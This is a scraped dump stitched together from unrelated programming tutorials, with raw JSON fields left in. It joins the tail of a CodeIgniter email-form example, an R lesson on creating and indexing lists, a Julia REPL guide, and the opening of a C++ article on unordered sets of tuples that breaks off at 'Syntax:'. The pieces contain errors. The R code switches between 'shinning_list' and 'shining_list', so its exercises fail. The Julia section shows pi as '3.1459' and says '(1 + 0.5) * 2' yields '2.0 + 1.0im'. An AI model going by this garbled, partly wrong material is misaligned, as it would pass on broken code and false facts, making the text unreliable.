$this->load->library('email'); \n \n $this->email->from($from_email, 'Your Name'); \n $this->email->to($to_email);\n $this->email->subject('Email Test'); \n $this->email->message('Testing the email class.'); \n \n //Send mail \n if($this->email->send()) \n $this->session->set_flashdata(\"email_sent\",\"Email sent successfully.\"); \n else \n $this->session->set_flashdata(\"email_sent\",\"Error in sending Email.\"); \n $this->load->view('email_form'); \n } \n } \n?>" }, { "code": null, "e": 6043, "s": 5954, "text": "Create a view file called email_form.php and save it at application/views/email_form.php" }, { "code": null, "e": 6518, "s": 6043, "text": "<!DOCTYPE html> \n<html lang = \"en\"> \n\n <head> \n <meta charset = \"utf-8\"> \n <title>CodeIgniter Email Example</title> \n </head>\n\t\n <body> \n <?php \n echo $this->session->flashdata('email_sent'); \n echo form_open('/Email_controller/send_mail'); \n ?> \n\t\t\n <input type = \"email\" name = \"email\" required /> \n <input type = \"submit\" value = \"SEND MAIL\"> \n\t\t\n <?php \n echo form_close(); \n ?> \n </body>\n\t\n</html>" }, { "code": null, "e": 6642, "s": 6518, "text": "Make the changes in the routes.php file in application/config/routes.php and add the following line at the end of the file." }, { "code": null, "e": 6681, "s": 6642, "text": "$route['email'] = 'Email_Controller';\n" }, { "code": null, "e": 6791, "s": 6681, "text": "Execute the above example by visiting the following link. Replace the yoursite.com with the URL of your site." }, { "code": null, "e": 6828, "s": 6791, "text": "http://yoursite.com/index.php/email\n" }, { "code": null, "e": 6835, "s": 6828, "text": " Print" }, { "code": null, "e": 6846, "s": 6835, "text": " Add Notes" } ]
Introduction to Lists in R. Lists can hold components of different... | by Linda Ngo | Towards Data Science
Lists can hold components of different types. Learn how to create, name, and subset these lists. There are a couple of data structures that you can use to hold data: Vectors (one dimensional array) — vectors can hold numeric, character, or logical values, but their elements must all be the same data type. Matrices (two dimensional array) — just like vector elements, matrices can hold numeric, character, or logical values; however, their elements must all be the same data type. Data frames (two-dimensional objects) — data frames can hold numeric, character, or logical values. Within a column, all elements must have the same data type, but different columns can be of a different data type. Lists ( super data type) — lists allow different objects, such as matrices, vectors, data frames, and other lists, to be gathered under one name (the name of the list) in an ordered way. None of these objects needs to be related in any way. As such, you can store practically anything in a list. We use the function list() to construct a list: my_list <- list(comp1, comp2, ...) The arguments to the list() function are the list components ( comp1, comp2,... ). They can be matrices, vectors, other lists, etc. Suppose we want to create a list ( my_list ) that contains the following as list components: my_vector , my_matrix , and my_df . # Vector with numerics from 1 up to 10my_vector <- 1:10# Matrix with numerics from 1 up to 9my_matrix <- matrix(1:9, ncol = 3)# First 10 elements of the built-in data frame mtcarsmy_df <- mtcars[1:10,] To construct the list, we again use the list() function: # Construct list with these different elements:my_list <- list(my_vector, my_matrix, my_df) Giving names to the components in a list ensures that we won’t forget what they stand for. We can either name our components during the construction of the list or afterwards. For example, # Name components directly during list construction.my_list <- list(name1 = your_comp1, name2 = your_comp2) creates a list with components named name1, name2 , and so on. To name the list after we’ve created them, we use the names() function like we did with vectors. This will accomplish the same thing we did above: # Use names() function to name list after constructionmy_list <- list(your_comp1, your_comp2)names(my_list) <- c("name1", "name2") Add names to components of my_list . you can use the names vec, mat, and df for my_vector, my_matrix, and my_df, respectively. # Vector with numerics from 1 up to 10my_vector <- 1:10# Matrix with numerics from 1 up to 9my_matrix <- matrix(1:9, ncol = 3)# First 10 elements of the built-in data frame mtcarsmy_df <- mtcars[1:10,]# Construct list with these different elements:my_list <- list(my_vector, my_matrix, my_df) # Vector with numerics from 1 up to 10my_vector <- 1:10# Matrix with numerics from 1 up to 9my_matrix <- matrix(1:9, ncol = 3)# First 10 elements of the built-in data frame mtcarsmy_df <- mtcars[1:10,]# Adapt list() call to give the components namesmy_list <- list(my_vector, my_matrix, my_df)names(my_list) <- c("vec", "mat", "df")# Print out my_listmy_list Create a list for the movie “The Shining”, which contains three components: moviename — a character string with the movie title (stored in mov ) actors — a vector with the names of the main actors (stored in act) reviews — a data frame that contains some reviews (stored in rev) # Character variable for movie namemov <- "The Shining"# Vector for the names of the movie actorsact <- c("Jack Nicholson", "Shelley Duvall", "Danny Lloyd", "Scatman Crothers", "Barry Nelson")# Data frame of the movie reviewsscores <- c(4.5, 4.0, 5.0)sources <- c("IMDb1", "IMDb2", "IMDb3")comments <- c("Best Horror Film I have Ever Seen", "A truly brilliant and scary film from Stanley Kubrick", "A masterpiece of psychological horror")rev <- data.frame(scores, sources, comments) Don’t forget to name the list components accordingly (moviename, actors, and reviews). Do not forget to name the list components accordingly (names are moviename, actors and reviews). # Character variable for movie namemov <- "The Shining"# Vector for the names of the movie actorsact <- c("Jack Nicholson", "Shelley Duvall", "Danny Lloyd", "Scatman Crothers", "Barry Nelson")# Data frame of the movie reviewsscores <- c(4.5, 4.0, 5.0)sources <- c("IMDb1", "IMDb2", "IMDb3")comments <- c("Best Horror Film I have Ever Seen", "A truly brilliant and scary film from Stanley Kubrick", "A masterpiece of psychological horror")rev <- data.frame(scores, sources, comments)# Shining Listshinning_list <- list(moviename = mov, actors = act, reviews = rev)shinning_list A list is often built out of numerous elements and components; so, it is not always straightforward getting a single element, multiple elements, or a component from it. One way to select a component is using the numbered position of the component. For example, to select the first component (position 1), we would use: my_list[[1]] Notice that this is different than with vectors and matrices which use single square brackets [] as opposed to double square brackets [[]] . We can also use the names of the components instead of the position. We can use either [[]] or with $ . For example, the following will both select the reviews components from the shining_list . shining_list[["reviews"]]shining_list$reviews Sometimes, you want to drill into the component and select specific elements from the selected component. For example, suppose we want to select the first element from the array of actors from the shining_list . The array actors is the second component so it can be accessed using shining_list[[2]]. Since this component is also named, we could’ve used shining_list$actors to get the same result. Since we want the select the first element [1] from that component, we would use shining_list[[2]][1] or shining_list$actors[1]. Given the shining_list below, select the actors vector and print it out. Then select the second element from this vector and print it out. # Character variable for movie namemov <- "The Shining"# Vector for the names of the movie actorsact <- c("Jack Nicholson", "Shelley Duvall", "Danny Lloyd", "Scatman Crothers", "Barry Nelson")# Data frame of the movie reviewsscores <- c(4.5, 4.0, 5.0)sources <- c("IMDb1", "IMDb2", "IMDb3")comments <- c("Best Horror Film I have Ever Seen", "A truly brilliant and scary film from Stanley Kubrick", "A masterpiece of psychological horror")rev <- data.frame(scores, sources, comments)# Shining Listshinning_list <- list(moviename = mov, actors = act, reviews = rev) # Print out the vector representing the actorsshining_list$actors# Print the second element of the vector representing the actorsshining_list$actors[2] Here’s a challenge to put what you’ve learned to the test! Suppose you have found reviews of another, more recent, Jack Nicholson movie: The Departed! The actors in this movie are: Leonardo DiCaprio Matt Damon Jack Nicholson Mark Wahlberg Vera Farmiga Martin Sheen Here are the reviews: Would watch it again — 4.61 Amazing! — 5 I liked it — 4.81 One of the best movies — 5 Fascinating plot — 4.2 It would be useful to collect together all the pieces of information about the movie, like the title, actors, and reviews, into a single variable. Since these pieces of data are different types, we will have to combine them in a list variable. Now, using the information given above, here’s what you’re going to have to do: Create a variable, called movie_title containing the title of the movie. Create a vector, called movie_actors , containing the names of the actors listed above. Create two vectors, called scores and comments, that contain the information from the reviews shown above. Find the average of the review scores ( scores vector)and save it as avg_review. Create a reviews data frame called reviews_df that combines scores and comments . Create a list, called departed_list, that contains the movie_title , movie_actors , reviews data frame as reviews_df , and the average review score as avg_review , and print it out. # Use the given movie information above to define the movie title and movie actorsmovie_title <- "The Departed"movie_actors <- c("Leonardo DiCaprio", "Matt Damon", "Jack Nicholson", "Mark Wahlberg", "Vera Farmiga", "Martin Sheen")# Use the reviews information above to defined defined the comments and scores vectorsscores <- c(4.6, 5, 4.8, 5, 4.2)comments <- c("I would watch it again", "Amazing!", "I liked it", "One of the best movies", "Fascinating plot")# Save the average of the scores vector as avg_reviewavg_review <- mean(scores)# Combine scores and comments into the reviews_df data framereviews_df <- data.frame(scores, comments)# Create and print out a list, called departed_list, which contains movie_title, movie_actors, reviews_df, and avg_reviewdeparted_list <- list (movie_title, movie_actors, reviews_df, avg_review)departed_list All images, unless specified, are owned by the author. The banner image was created using Canva.
[ { "code": null, "e": 144, "s": 47, "text": "Lists can hold components of different types. Learn how to create, name, and subset these lists." }, { "code": null, "e": 213, "s": 144, "text": "There are a couple of data structures that you can use to hold data:" }, { "code": null, "e": 354, "s": 213, "text": "Vectors (one dimensional array) — vectors can hold numeric, character, or logical values, but their elements must all be the same data type." }, { "code": null, "e": 529, "s": 354, "text": "Matrices (two dimensional array) — just like vector elements, matrices can hold numeric, character, or logical values; however, their elements must all be the same data type." }, { "code": null, "e": 744, "s": 529, "text": "Data frames (two-dimensional objects) — data frames can hold numeric, character, or logical values. Within a column, all elements must have the same data type, but different columns can be of a different data type." }, { "code": null, "e": 1040, "s": 744, "text": "Lists ( super data type) — lists allow different objects, such as matrices, vectors, data frames, and other lists, to be gathered under one name (the name of the list) in an ordered way. None of these objects needs to be related in any way. As such, you can store practically anything in a list." }, { "code": null, "e": 1088, "s": 1040, "text": "We use the function list() to construct a list:" }, { "code": null, "e": 1123, "s": 1088, "text": "my_list <- list(comp1, comp2, ...)" }, { "code": null, "e": 1255, "s": 1123, "text": "The arguments to the list() function are the list components ( comp1, comp2,... ). They can be matrices, vectors, other lists, etc." }, { "code": null, "e": 1384, "s": 1255, "text": "Suppose we want to create a list ( my_list ) that contains the following as list components: my_vector , my_matrix , and my_df ." }, { "code": null, "e": 1586, "s": 1384, "text": "# Vector with numerics from 1 up to 10my_vector <- 1:10# Matrix with numerics from 1 up to 9my_matrix <- matrix(1:9, ncol = 3)# First 10 elements of the built-in data frame mtcarsmy_df <- mtcars[1:10,]" }, { "code": null, "e": 1643, "s": 1586, "text": "To construct the list, we again use the list() function:" }, { "code": null, "e": 1735, "s": 1643, "text": "# Construct list with these different elements:my_list <- list(my_vector, my_matrix, my_df)" }, { "code": null, "e": 1924, "s": 1735, "text": "Giving names to the components in a list ensures that we won’t forget what they stand for. We can either name our components during the construction of the list or afterwards. For example," }, { "code": null, "e": 2048, "s": 1924, "text": "# Name components directly during list construction.my_list <- list(name1 = your_comp1, name2 = your_comp2)" }, { "code": null, "e": 2258, "s": 2048, "text": "creates a list with components named name1, name2 , and so on. To name the list after we’ve created them, we use the names() function like we did with vectors. This will accomplish the same thing we did above:" }, { "code": null, "e": 2389, "s": 2258, "text": "# Use names() function to name list after constructionmy_list <- list(your_comp1, your_comp2)names(my_list) <- c(\"name1\", \"name2\")" }, { "code": null, "e": 2516, "s": 2389, "text": "Add names to components of my_list . you can use the names vec, mat, and df for my_vector, my_matrix, and my_df, respectively." }, { "code": null, "e": 2809, "s": 2516, "text": "# Vector with numerics from 1 up to 10my_vector <- 1:10# Matrix with numerics from 1 up to 9my_matrix <- matrix(1:9, ncol = 3)# First 10 elements of the built-in data frame mtcarsmy_df <- mtcars[1:10,]# Construct list with these different elements:my_list <- list(my_vector, my_matrix, my_df)" }, { "code": null, "e": 3168, "s": 2809, "text": "# Vector with numerics from 1 up to 10my_vector <- 1:10# Matrix with numerics from 1 up to 9my_matrix <- matrix(1:9, ncol = 3)# First 10 elements of the built-in data frame mtcarsmy_df <- mtcars[1:10,]# Adapt list() call to give the components namesmy_list <- list(my_vector, my_matrix, my_df)names(my_list) <- c(\"vec\", \"mat\", \"df\")# Print out my_listmy_list" }, { "code": null, "e": 3244, "s": 3168, "text": "Create a list for the movie “The Shining”, which contains three components:" }, { "code": null, "e": 3313, "s": 3244, "text": "moviename — a character string with the movie title (stored in mov )" }, { "code": null, "e": 3381, "s": 3313, "text": "actors — a vector with the names of the main actors (stored in act)" }, { "code": null, "e": 3447, "s": 3381, "text": "reviews — a data frame that contains some reviews (stored in rev)" }, { "code": null, "e": 3930, "s": 3447, "text": "# Character variable for movie namemov <- \"The Shining\"# Vector for the names of the movie actorsact <- c(\"Jack Nicholson\", \"Shelley Duvall\", \"Danny Lloyd\", \"Scatman Crothers\", \"Barry Nelson\")# Data frame of the movie reviewsscores <- c(4.5, 4.0, 5.0)sources <- c(\"IMDb1\", \"IMDb2\", \"IMDb3\")comments <- c(\"Best Horror Film I have Ever Seen\", \"A truly brilliant and scary film from Stanley Kubrick\", \"A masterpiece of psychological horror\")rev <- data.frame(scores, sources, comments)" }, { "code": null, "e": 4017, "s": 3930, "text": "Don’t forget to name the list components accordingly (moviename, actors, and reviews)." }, { "code": null, "e": 4114, "s": 4017, "text": "Do not forget to name the list components accordingly (names are moviename, actors and reviews)." }, { "code": null, "e": 4691, "s": 4114, "text": "# Character variable for movie namemov <- \"The Shining\"# Vector for the names of the movie actorsact <- c(\"Jack Nicholson\", \"Shelley Duvall\", \"Danny Lloyd\", \"Scatman Crothers\", \"Barry Nelson\")# Data frame of the movie reviewsscores <- c(4.5, 4.0, 5.0)sources <- c(\"IMDb1\", \"IMDb2\", \"IMDb3\")comments <- c(\"Best Horror Film I have Ever Seen\", \"A truly brilliant and scary film from Stanley Kubrick\", \"A masterpiece of psychological horror\")rev <- data.frame(scores, sources, comments)# Shining Listshinning_list <- list(moviename = mov, actors = act, reviews = rev)shinning_list" }, { "code": null, "e": 4860, "s": 4691, "text": "A list is often built out of numerous elements and components; so, it is not always straightforward getting a single element, multiple elements, or a component from it." }, { "code": null, "e": 5010, "s": 4860, "text": "One way to select a component is using the numbered position of the component. For example, to select the first component (position 1), we would use:" }, { "code": null, "e": 5023, "s": 5010, "text": "my_list[[1]]" }, { "code": null, "e": 5164, "s": 5023, "text": "Notice that this is different than with vectors and matrices which use single square brackets [] as opposed to double square brackets [[]] ." }, { "code": null, "e": 5359, "s": 5164, "text": "We can also use the names of the components instead of the position. We can use either [[]] or with $ . For example, the following will both select the reviews components from the shining_list ." }, { "code": null, "e": 5405, "s": 5359, "text": "shining_list[[\"reviews\"]]shining_list$reviews" }, { "code": null, "e": 5802, "s": 5405, "text": "Sometimes, you want to drill into the component and select specific elements from the selected component. For example, suppose we want to select the first element from the array of actors from the shining_list . The array actors is the second component so it can be accessed using shining_list[[2]]. Since this component is also named, we could’ve used shining_list$actors to get the same result." }, { "code": null, "e": 5931, "s": 5802, "text": "Since we want the select the first element [1] from that component, we would use shining_list[[2]][1] or shining_list$actors[1]." }, { "code": null, "e": 6070, "s": 5931, "text": "Given the shining_list below, select the actors vector and print it out. Then select the second element from this vector and print it out." }, { "code": null, "e": 6634, "s": 6070, "text": "# Character variable for movie namemov <- \"The Shining\"# Vector for the names of the movie actorsact <- c(\"Jack Nicholson\", \"Shelley Duvall\", \"Danny Lloyd\", \"Scatman Crothers\", \"Barry Nelson\")# Data frame of the movie reviewsscores <- c(4.5, 4.0, 5.0)sources <- c(\"IMDb1\", \"IMDb2\", \"IMDb3\")comments <- c(\"Best Horror Film I have Ever Seen\", \"A truly brilliant and scary film from Stanley Kubrick\", \"A masterpiece of psychological horror\")rev <- data.frame(scores, sources, comments)# Shining Listshinning_list <- list(moviename = mov, actors = act, reviews = rev)" }, { "code": null, "e": 6786, "s": 6634, "text": "# Print out the vector representing the actorsshining_list$actors# Print the second element of the vector representing the actorsshining_list$actors[2]" }, { "code": null, "e": 6845, "s": 6786, "text": "Here’s a challenge to put what you’ve learned to the test!" }, { "code": null, "e": 6937, "s": 6845, "text": "Suppose you have found reviews of another, more recent, Jack Nicholson movie: The Departed!" }, { "code": null, "e": 6967, "s": 6937, "text": "The actors in this movie are:" }, { "code": null, "e": 6985, "s": 6967, "text": "Leonardo DiCaprio" }, { "code": null, "e": 6996, "s": 6985, "text": "Matt Damon" }, { "code": null, "e": 7011, "s": 6996, "text": "Jack Nicholson" }, { "code": null, "e": 7025, "s": 7011, "text": "Mark Wahlberg" }, { "code": null, "e": 7038, "s": 7025, "text": "Vera Farmiga" }, { "code": null, "e": 7051, "s": 7038, "text": "Martin Sheen" }, { "code": null, "e": 7073, "s": 7051, "text": "Here are the reviews:" }, { "code": null, "e": 7101, "s": 7073, "text": "Would watch it again — 4.61" }, { "code": null, "e": 7114, "s": 7101, "text": "Amazing! — 5" }, { "code": null, "e": 7132, "s": 7114, "text": "I liked it — 4.81" }, { "code": null, "e": 7159, "s": 7132, "text": "One of the best movies — 5" }, { "code": null, "e": 7182, "s": 7159, "text": "Fascinating plot — 4.2" }, { "code": null, "e": 7426, "s": 7182, "text": "It would be useful to collect together all the pieces of information about the movie, like the title, actors, and reviews, into a single variable. Since these pieces of data are different types, we will have to combine them in a list variable." }, { "code": null, "e": 7506, "s": 7426, "text": "Now, using the information given above, here’s what you’re going to have to do:" }, { "code": null, "e": 7579, "s": 7506, "text": "Create a variable, called movie_title containing the title of the movie." }, { "code": null, "e": 7667, "s": 7579, "text": "Create a vector, called movie_actors , containing the names of the actors listed above." }, { "code": null, "e": 7774, "s": 7667, "text": "Create two vectors, called scores and comments, that contain the information from the reviews shown above." }, { "code": null, "e": 7855, "s": 7774, "text": "Find the average of the review scores ( scores vector)and save it as avg_review." }, { "code": null, "e": 7937, "s": 7855, "text": "Create a reviews data frame called reviews_df that combines scores and comments ." }, { "code": null, "e": 8119, "s": 7937, "text": "Create a list, called departed_list, that contains the movie_title , movie_actors , reviews data frame as reviews_df , and the average review score as avg_review , and print it out." }, { "code": null, "e": 8967, "s": 8119, "text": "# Use the given movie information above to define the movie title and movie actorsmovie_title <- \"The Departed\"movie_actors <- c(\"Leonardo DiCaprio\", \"Matt Damon\", \"Jack Nicholson\", \"Mark Wahlberg\", \"Vera Farmiga\", \"Martin Sheen\")# Use the reviews information above to defined defined the comments and scores vectorsscores <- c(4.6, 5, 4.8, 5, 4.2)comments <- c(\"I would watch it again\", \"Amazing!\", \"I liked it\", \"One of the best movies\", \"Fascinating plot\")# Save the average of the scores vector as avg_reviewavg_review <- mean(scores)# Combine scores and comments into the reviews_df data framereviews_df <- data.frame(scores, comments)# Create and print out a list, called departed_list, which contains movie_title, movie_actors, reviews_df, and avg_reviewdeparted_list <- list (movie_title, movie_actors, reviews_df, avg_review)departed_list" } ]
Julia - REPL - GeeksforGeeks
28 Jul, 2020 REPL stands for read-eval-print-loop. Julia has an inbuilt full-featured command-line built into Julia executable know as REPL. The Julia program starts the repl by default or REPL can be started by simply calling/writing the Julia without any argument. It comes with a lot of features in it which we will discuss in this article. Also to exit the interactive session just type exit() followed by the enter key. Julia REPL provides different types of prompt modes lets discusses it one by one: The first mode is known as Julian prompt and it is the default operation mode in Julia. In Julia each line starts with the julia> You can write down your expression and once you hit enter after writing the expression it will be evaluated and it will show the result/output of the expression. Example: julia> string(1+3) Julia prompt mode provides you with the various features which are unique for interactive work. It also binds the result to the variable i.e “ans”. A semicolon on the line can be used as a flag to suppress the showing result. Example: julia> string(3*5) julia> ans "15" By typing “?” in the prompt you will change the mode to help mode and whatever typed inside the help mode Julia will display the help or documentation related to that expression.You can exit from the help mode by just pressing the backspace at the starting of the line. Example: julia> ? *it will enter in the help as soon as you press enter : Help* help?> string search: string String Cstring substring RevString bystring string(xs....) create a string from any values using the print function Just like help mode, you can enter the shell mode just by typing “;” and the prompt will change into the shell mode and for exit just press backspace at the beginning of the line. Example: julia?> ; *it will enter the shell mode : Shell* shell> x=4 hello Juila REPL provides you the best use of the key binding. Some of the controls-key bindings are already introduced above like ^D and ^R. There are also many meta-key bindings. These vary from platform to platform, but most of the terminal default using the alt or option-held down with key to send the meta-key or by pressing Esc and then the key. Some of the examples of the key-bindings are: Program Control Keybinding Description ^D Exit ^C Interrupt or cancel ^L Clear console screen ? and ; Enter help or shell mode ^R, ^S Incremental history search, described above Cursor movement Keybinding Description ^F Move right one character ^B Move left one character meta-F Move right one word ^A Move to the beginning of the line ^E Move to end of the line Editing Keybinding Description meta-d Forward delete the previous word meta-backspace Delete the previous word Delete, ^D Forward delete one character ^W Delete previous text up to the nearest whitespace ^K "Kill" to end of the line, placing the text in the kill ring With Julia and the help mode of the REPL, you can enter the initial character of a function or type and then press the tab key to get the list all match : Example: julia> stri[TAB] stride strides string strip It is very helpful while performing mathematics. The tab key can be used to substitute LaTex math symbols with their Unicode equivalent. Example: julia> \pi[TAB] julia> ? ?=3.1459 Example: import REPL using REPL.TerminalMenus options = ["apple", "orange", "grape", "strawberry", "blueberry", "peach", "lemon", "lime"] RadioMenu: It allows user to select one option from the list. The request function displays the interactive menu and returns the index. If the user select/press ‘q’ or ^c, the request will return -1. Example: menu = RadioMenu(options, pagesize=4) choice = request("Choose your fav fruit:", menu) if choice !=-1 println("Your fav fruit:", options[choice], "!") else println("Menu Cancelled.") end Output: choose your fruit: grape strawberry blueberry peach Your fav fruit is blueberry Julia provides a powerful calculator using REPL. Example: julia> 1000000/7 142857.148571 To type scientific notation, type “e” and don’t press any space: Example : julia> palnck_length = 1.6161997e-34 To type imaginary no. use im : julia> (1 + 0.5) * 2 2.0 + 1.0im Operator as function: julia> 4+4 julia> 3+4+1 Another way is : julia> +(2, 2) So, at the last Julia REPL comes with lots of features that allow quick and easy evaluation of Julia’s statement. It also provides searchable history, tab-completion, and many key-binding. It also provides a dedicated shell mode. Picked Julia Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Decision Making in Julia (if, if-else, Nested-if, if-elseif-else ladder) Get array dimensions and size of a dimension in Julia - size() Method Exception handling in Julia Searching in Array for a given element in Julia Find maximum element along with its index in Julia - findmax() Method Get number of elements of array in Julia - length() Method Join an array of strings into a single string in Julia - join() Method File Handling in Julia Working with Excel Files in Julia Getting last element of an array in Julia - last() Method
[ { "code": null, "e": 25789, "s": 25761, "text": "\n28 Jul, 2020" }, { "code": null, "e": 26201, "s": 25789, "text": "REPL stands for read-eval-print-loop. Julia has an inbuilt full-featured command-line built into Julia executable know as REPL. The Julia program starts the repl by default or REPL can be started by simply calling/writing the Julia without any argument. It comes with a lot of features in it which we will discuss in this article. Also to exit the interactive session just type exit() followed by the enter key." }, { "code": null, "e": 26283, "s": 26201, "text": "Julia REPL provides different types of prompt modes lets discusses it one by one:" }, { "code": null, "e": 26406, "s": 26283, "text": "The first mode is known as Julian prompt and it is the default operation mode in Julia. In Julia each line starts with the" }, { "code": null, "e": 26413, "s": 26406, "text": "julia>" }, { "code": null, "e": 26575, "s": 26413, "text": "You can write down your expression and once you hit enter after writing the expression it will be evaluated and it will show the result/output of the expression." }, { "code": null, "e": 26584, "s": 26575, "text": "Example:" }, { "code": null, "e": 26603, "s": 26584, "text": "julia> string(1+3)" }, { "code": null, "e": 26829, "s": 26603, "text": "Julia prompt mode provides you with the various features which are unique for interactive work. It also binds the result to the variable i.e “ans”. A semicolon on the line can be used as a flag to suppress the showing result." }, { "code": null, "e": 26838, "s": 26829, "text": "Example:" }, { "code": null, "e": 26873, "s": 26838, "text": "julia> string(3*5)\njulia> ans \"15\"" }, { "code": null, "e": 27143, "s": 26873, "text": "By typing “?” in the prompt you will change the mode to help mode and whatever typed inside the help mode Julia will display the help or documentation related to that expression.You can exit from the help mode by just pressing the backspace at the starting of the line." }, { "code": null, "e": 27152, "s": 27143, "text": "Example:" }, { "code": null, "e": 27372, "s": 27152, "text": "julia> ? *it will enter in the help as soon as you press enter : Help*\nhelp?> string\nsearch: string String Cstring substring RevString bystring \nstring(xs....)\ncreate a string from any values using the print function" }, { "code": null, "e": 27552, "s": 27372, "text": "Just like help mode, you can enter the shell mode just by typing “;” and the prompt will change into the shell mode and for exit just press backspace at the beginning of the line." }, { "code": null, "e": 27561, "s": 27552, "text": "Example:" }, { "code": null, "e": 27628, "s": 27561, "text": "julia?> ; *it will enter the shell mode : Shell*\nshell> x=4\nhello" }, { "code": null, "e": 27975, "s": 27628, "text": "Juila REPL provides you the best use of the key binding. Some of the controls-key bindings are already introduced above like ^D and ^R. There are also many meta-key bindings. These vary from platform to platform, but most of the terminal default using the alt or option-held down with key to send the meta-key or by pressing Esc and then the key." }, { "code": null, "e": 28021, "s": 27975, "text": "Some of the examples of the key-bindings are:" }, { "code": null, "e": 28037, "s": 28021, "text": "Program Control" }, { "code": null, "e": 28305, "s": 28037, "text": "Keybinding Description\n\n^D Exit\n^C Interrupt or cancel \n^L Clear console screen\n? and ; Enter help or shell mode\n^R, ^S Incremental history search, described above" }, { "code": null, "e": 28321, "s": 28305, "text": "Cursor movement" }, { "code": null, "e": 28603, "s": 28321, "text": "Keybinding Description\n\n^F Move right one character\n^B Move left one character\nmeta-F Move right one word\n^A Move to the beginning of the line\n^E Move to end of the line" }, { "code": null, "e": 28611, "s": 28603, "text": "Editing" }, { "code": null, "e": 28965, "s": 28611, "text": "Keybinding Description\n\nmeta-d Forward delete the previous word\nmeta-backspace Delete the previous word\nDelete, ^D Forward delete one character\n^W Delete previous text up to the nearest whitespace\n^K \"Kill\" to end of the line, placing the text in the kill ring" }, { "code": null, "e": 29120, "s": 28965, "text": "With Julia and the help mode of the REPL, you can enter the initial character of a function or type and then press the tab key to get the list all match :" }, { "code": null, "e": 29129, "s": 29120, "text": "Example:" }, { "code": null, "e": 29174, "s": 29129, "text": "julia> stri[TAB]\nstride strides string strip" }, { "code": null, "e": 29311, "s": 29174, "text": "It is very helpful while performing mathematics. The tab key can be used to substitute LaTex math symbols with their Unicode equivalent." }, { "code": null, "e": 29320, "s": 29311, "text": "Example:" }, { "code": null, "e": 29354, "s": 29320, "text": "julia> \\pi[TAB]\njulia> ?\n?=3.1459" }, { "code": null, "e": 29363, "s": 29354, "text": "Example:" }, { "code": null, "e": 29493, "s": 29363, "text": "import REPL\nusing REPL.TerminalMenus\noptions = [\"apple\", \"orange\", \"grape\", \"strawberry\", \"blueberry\", \"peach\", \"lemon\", \"lime\"]\n" }, { "code": null, "e": 29693, "s": 29493, "text": "RadioMenu: It allows user to select one option from the list. The request function displays the interactive menu and returns the index. If the user select/press ‘q’ or ^c, the request will return -1." }, { "code": null, "e": 29702, "s": 29693, "text": "Example:" }, { "code": null, "e": 29897, "s": 29702, "text": "menu = RadioMenu(options, pagesize=4)\nchoice = request(\"Choose your fav fruit:\", menu)\nif choice !=-1\n println(\"Your fav fruit:\", options[choice], \"!\")\nelse\n println(\"Menu Cancelled.\")\nend" }, { "code": null, "e": 29905, "s": 29897, "text": "Output:" }, { "code": null, "e": 29985, "s": 29905, "text": "choose your fruit:\ngrape\nstrawberry\nblueberry\npeach\nYour fav fruit is blueberry" }, { "code": null, "e": 30034, "s": 29985, "text": "Julia provides a powerful calculator using REPL." }, { "code": null, "e": 30043, "s": 30034, "text": "Example:" }, { "code": null, "e": 30091, "s": 30043, "text": "julia> 1000000/7\n 142857.148571" }, { "code": null, "e": 30156, "s": 30091, "text": "To type scientific notation, type “e” and don’t press any space:" }, { "code": null, "e": 30166, "s": 30156, "text": "Example :" }, { "code": null, "e": 30268, "s": 30166, "text": "julia> palnck_length = 1.6161997e-34\nTo type imaginary no. use im :\n\njulia> (1 + 0.5) * 2\n2.0 + 1.0im" }, { "code": null, "e": 30290, "s": 30268, "text": "Operator as function:" }, { "code": null, "e": 30315, "s": 30290, "text": "julia> 4+4\njulia> 3+4+1\n" }, { "code": null, "e": 30332, "s": 30315, "text": "Another way is :" }, { "code": null, "e": 30347, "s": 30332, "text": "julia> +(2, 2)" }, { "code": null, "e": 30577, "s": 30347, "text": "So, at the last Julia REPL comes with lots of features that allow quick and easy evaluation of Julia’s statement. It also provides searchable history, tab-completion, and many key-binding. It also provides a dedicated shell mode." }, { "code": null, "e": 30584, "s": 30577, "text": "Picked" }, { "code": null, "e": 30590, "s": 30584, "text": "Julia" }, { "code": null, "e": 30688, "s": 30590, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 30761, "s": 30688, "text": "Decision Making in Julia (if, if-else, Nested-if, if-elseif-else ladder)" }, { "code": null, "e": 30831, "s": 30761, "text": "Get array dimensions and size of a dimension in Julia - size() Method" }, { "code": null, "e": 30859, "s": 30831, "text": "Exception handling in Julia" }, { "code": null, "e": 30907, "s": 30859, "text": "Searching in Array for a given element in Julia" }, { "code": null, "e": 30977, "s": 30907, "text": "Find maximum element along with its index in Julia - findmax() Method" }, { "code": null, "e": 31036, "s": 30977, "text": "Get number of elements of array in Julia - length() Method" }, { "code": null, "e": 31107, "s": 31036, "text": "Join an array of strings into a single string in Julia - join() Method" }, { "code": null, "e": 31130, "s": 31107, "text": "File Handling in Julia" }, { "code": null, "e": 31164, "s": 31130, "text": "Working with Excel Files in Julia" } ]
unordered set of tuples in C++ with Examples - GeeksforGeeks
19 Dec, 2021 What is a tuple? A tuple in C++ is an object which is used to group elements together. In a tuple, elements can be of the same data type or different data types. The elements of tuples are initialized as in the order in which they will be accessed. Functions associated with a tuple: 1. make_tuple(): make_tuple() is used to assign tuple with values. The values passed should be in order with the values declared in the tuple.2. get(): get() is used to access the tuple values and modify them, it accepts the index and tuple name as arguments to access a particular tuple element. What is an unordered set? An unordered set is an unordered associative container that is similar to a set but in the case of an unordered set, elements are not arranged in any particular order. Like a set, an unordered set also contains unique elements. An unordered set is implemented using a hash table internally and keys are hashed into indices of the hash table. Insertion in an unordered set is always unpredictable or randomized. Most operations in an unordered set take constant time O(1) but in the worst case, the time complexity may go up to O(n). Functions associated with the unordered set: insert(x):Inserts a new element ‘x’ in the unordered set container. begin(): Returns an iterator pointing to the first element in the unordered_set container. end(): Returns an iterator pointing to the hypothetical element next to the end element. count(): Counts the number of times a particular element is present in an unordered_set container. erase(): Remove either a single element or a range of elements ranging from start to end(exclusive). size(): Return the number of elements in the unordered_set container. swap(): Exchange values of two unordered_set containers. max_size(): Returns maximum number of elements that an unordered_set container can hold. empty(): Check if an unordered_set container is empty or not. An unordered set of tuples can be quite useful whenever an algorithm requires a complex data structure. This article focuses on how to create an unordered set of tuples in C++. Note that for simplicity we are taking a tuple of three elements into consideration but a tuple can contain more or fewer elements also. Unordered set of tuples An unordered set of tuples is an unordered set in which each of the elements is a tuple. Note that by default an unordered set doesn’t have the functionality of tuples. In simple words, one cannot declare an unordered set of tuples directly in C++. One have to pass a Hash function as an argument to the unordered set. Syntax: 